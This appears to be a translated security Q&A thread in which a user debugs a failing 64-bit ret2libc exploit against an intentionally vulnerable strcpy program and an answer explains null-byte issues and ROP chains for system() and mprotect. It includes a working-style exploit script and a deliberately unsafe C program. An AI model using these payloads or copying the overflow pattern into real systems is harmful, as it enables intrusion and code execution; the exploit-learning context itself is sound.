Perché ret2libc non funziona nel codice seguente su x86_64?

2

Sto tentando di ignorare DEP in x86_64 (64 bit - ASLR OFF ). Ho il mio codice vulnerabile e ho anche scritto un codice exploit con un ROP di base per passare a system () con il parametro "/ bin / sh", ma non funziona. Non so perché.

Codice C vulnerabile:

#include <stdio.h>
#include <string.h>

void main(int argc, char **argv)
{
    char buff[100];
    strcpy(buff, argv[1]);
    printf("%s\n", buff);
}

Codice exploit per il codice C sopra:

from struct import pack

# mprotect = 0x7ffff7b0bd90
binsh = 0x7ffff7b97937    # find &system, +999999999999999, "/bin/sh"
system_addr = 0x7ffff7a5b520
pop_rdi_ret = 0x00000000004005cb


payload = ""
payload += "\x90"*120
payload += pack("<Q", pop_rdi_ret)
payload += pack("<Q", binsh)
payload += pack("<Q", system_addr)

print payload

Di seguito è riportato l'output del codice exploit:

[feddy@localhost dep_test]$ ./sample 'python exploit.py'
bash: warning: command substitution: ignored null byte in input
�������������������������������������������������������������������������������������������������������������������������@7y���
Segmentation fault (core dumped)

Output da gdb coredump:

Reading symbols from /home/feddy/dep_test/sample...(no debugging symbols found)...done.
[New LWP 11468]
Core was generated by './sample ����������������������������������������������������������������������'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x000000000040056d in main ()
Missing separate debuginfos, use: dnf debuginfo-install glibc-2.27-30.fc28.x86_64
gef➤  

È a causa di byte null nell'indirizzo (nello stack)?

E, per favore qualcuno può aiutarmi a capire il concetto di frame stack ROP a 64 bit, voglio dire che lo stack frame ROP a 32 bit è semplice da capire rispetto a 64 bit e il contenuto disponibile su Internet riguardo il 64 bit ROP non mi ha aiutato.

Per questo motivo, sono anche confuso sulla creazione di stack frame tramite ROP per la chiamata mprotect per il mio altro codice exploit.

Note:

Please, if anyone finds something bad in the question, please let me know instead of voting it down because it is hard to get a reputation and easy to lose.

    
posta bsdboy 18.08.2018 - 22:12
fonte

1 risposta

1

Ci sono alcuni punti da notare:

1. La funzione strcpy interrompe la copia di roba nel buffer di destinazione non appena incontra un byte NULL. Un byte NULL è 0x00 o \ x00 . Nelle macchine a 64 bit, la lunghezza di un indirizzo è 8 byte. Prendiamo in considerazione pop_rdi_ret = 0x00000000004005cb . Questo ha byte NULL. Quindi, non appena strcpy incontra il primo byte NULL (il byte NULL accanto a 0x40), smette di copiare. Pertanto, il carico utile di exploit non viene iniettato correttamente a causa dei byte NULL.


2. Spero che tu abbia compilato il tuo programma vulnerabile senza StackGaurd o la protezione Stack Cookie. Se è lì, ucciderà il programma quando rileva uno scontro. Puoi utilizzare il flag del compilatore -fno-stack-protector per compilare senza StackGaurd.

3. Non so perché stai iniettando NOP nel buffer. Non c'è nulla di male nel farlo, ma non serve nemmeno perché W XOR X è abilitato.

And, please can anyone help me little to understand the concept of ROP stack frame in 64 bit, I mean 32 bit ROP stack frame is simple to understand as compared to 64 bit and available content on the internet about the 64 bit ROP didn't help me.

Quando si parla di ROP, non vi è alcuna differenza tra ROP a 32 bit e ROP a 64 bit. Questo perché in entrambi i casi, i Gadget ROP sono incatenati.

Se stai parlando di ReturnToLibc, ci sono delle differenze. ReturnToLibc è il nome di fantasia dato quello che stai facendo nell'exploit sopra. Stai tornando a una funzione di libc per ottenere l'accesso di dio.

La causa principale di questa differenza è il modo in cui vengono chiamate le funzioni. Il meccanismo di chiamata alle funzioni nei processi a 32 bit e 64 bit è diverso. In 32-bit, gli argomenti vengono passati alla funzione del callee usando lo stack. Ma a 64-bit, i primi 6 argomenti vengono passati usando i registri e se ci sono altri argomenti, viene usato lo stack.

Poiché stiamo chiamando le funzioni qui, gli exploit per 32-bit e 64-bit saranno diversi. Come hai detto bene, l'exploit ReturnToLibc per 64-bit è più o meno ROP perché dovrai trovare dei gadget che caricheranno roba in rdi, rsi, rdx ecc. Se non trovi i gadget giusti, dovrai incatenarli.

Because of that, I am also confused about creating stack frame via ROP for mprotect call for my another exploit code.

Lascia che ti aiuti con questo.

Dai un'occhiata alla pagina di manuale di mprotect.

MPROTECT(2)                         Linux Programmer's Manual                              MPROTECT(2)

NAME
        mprotect - set protection on a region of memory

SYNOPSIS
       #include <sys/mman.h>

       int mprotect(void *addr, size_t len, int prot);

Per 32 bit:

Per prima cosa creiamo lo stackframe falso per 32-bit.

Supponiamo di voler rendere eseguibile lo spazio di indirizzamento dello stack.

Lasciare addr = 0xf1f2f3f4, size = 1000, prot = PROT_EXEC | PROT_WRITE | PROT_READ.

I valori di PROT_READ = 1, PROT_WRITE = 2, PROT_EXEC = 4. In riferimento a questo sourcefile .

Quindi, PROT_READ | PROT_WRITE | PROT_EXEC = 7.

La strategia è questa:

a. Sovrascrivi l'indirizzo di ritorno della funzione vulnerabile con l'indirizzo mprotect . Quando viene eseguita l'istruzione ret , il controllo viene trasferito alla funzione mprotect e lo stack viene spuntato. Per mprotect, l'istruzione stack before ret è eseguita nel modo seguente:

<mprotect's Address>          // This is vulnerable function's return address
<mprotect's Return Address>   // This can be exit libc function
<prot = 0x00000007> 
<len = 1000>
<addr = 0xf1f2f3f4> 

Quindi, ecco qua. hai lo stackframe che volevi.

Per 64 bit:

Per sfruttare una funzione vulnerabile a 64 bit, dobbiamo passare gli argomenti attraverso i registri. Questo non è facile come lo era per l'exploit a 32 bit. Questo è ciò di cui abbiamo bisogno.

rdi = Indirizzo dello stack = 0x00007ffff7123456 // solo un esempio
rsi = 1000
rdx = 0x7

Ora dobbiamo trovare i gadget che fanno direttamente questo o devono trovare i gadget e incatenarli. Questo è dove diventa un po 'difficile. Scrivere a mano catene ROP richiede tempo. Puoi provare ROPGadget o qualsiasi altro strumento ROP là fuori.

Supponendo di avere i gadget mobili corretti, continuerò la mia risposta.

0x400123: mov rdi, 0x00007ffff7123456; ret
0x401234: mov rsi, 1000; ret
0x412345: mov rdx, 0x7; ret

Il piano è che questi 3 dovrebbero essere eseguiti in fila e quindi mprotect dovrebbe essere eseguito. Quindi, lo stack dovrebbe apparire come questo prima che venga eseguito il ret della funzione vulnerabile.

<0x400123>                  // This is originally vulnerable function's return address
<0x401234>
<0x412345>
<mprotect's address> 
<mprotect's return address> 

In realtà, lo stack potrebbe essere molto più complesso di questo. Questo è solo un esempio.

Spero che tu veda la differenza tra lo stack di un exploit a 32 bit e un exploit a 64 bit.

Se qualcosa non è chiaro, lascia un commento qui sotto.

    
risposta data 29.12.2018 - 05:32
fonte

Leggi altre domande sui tag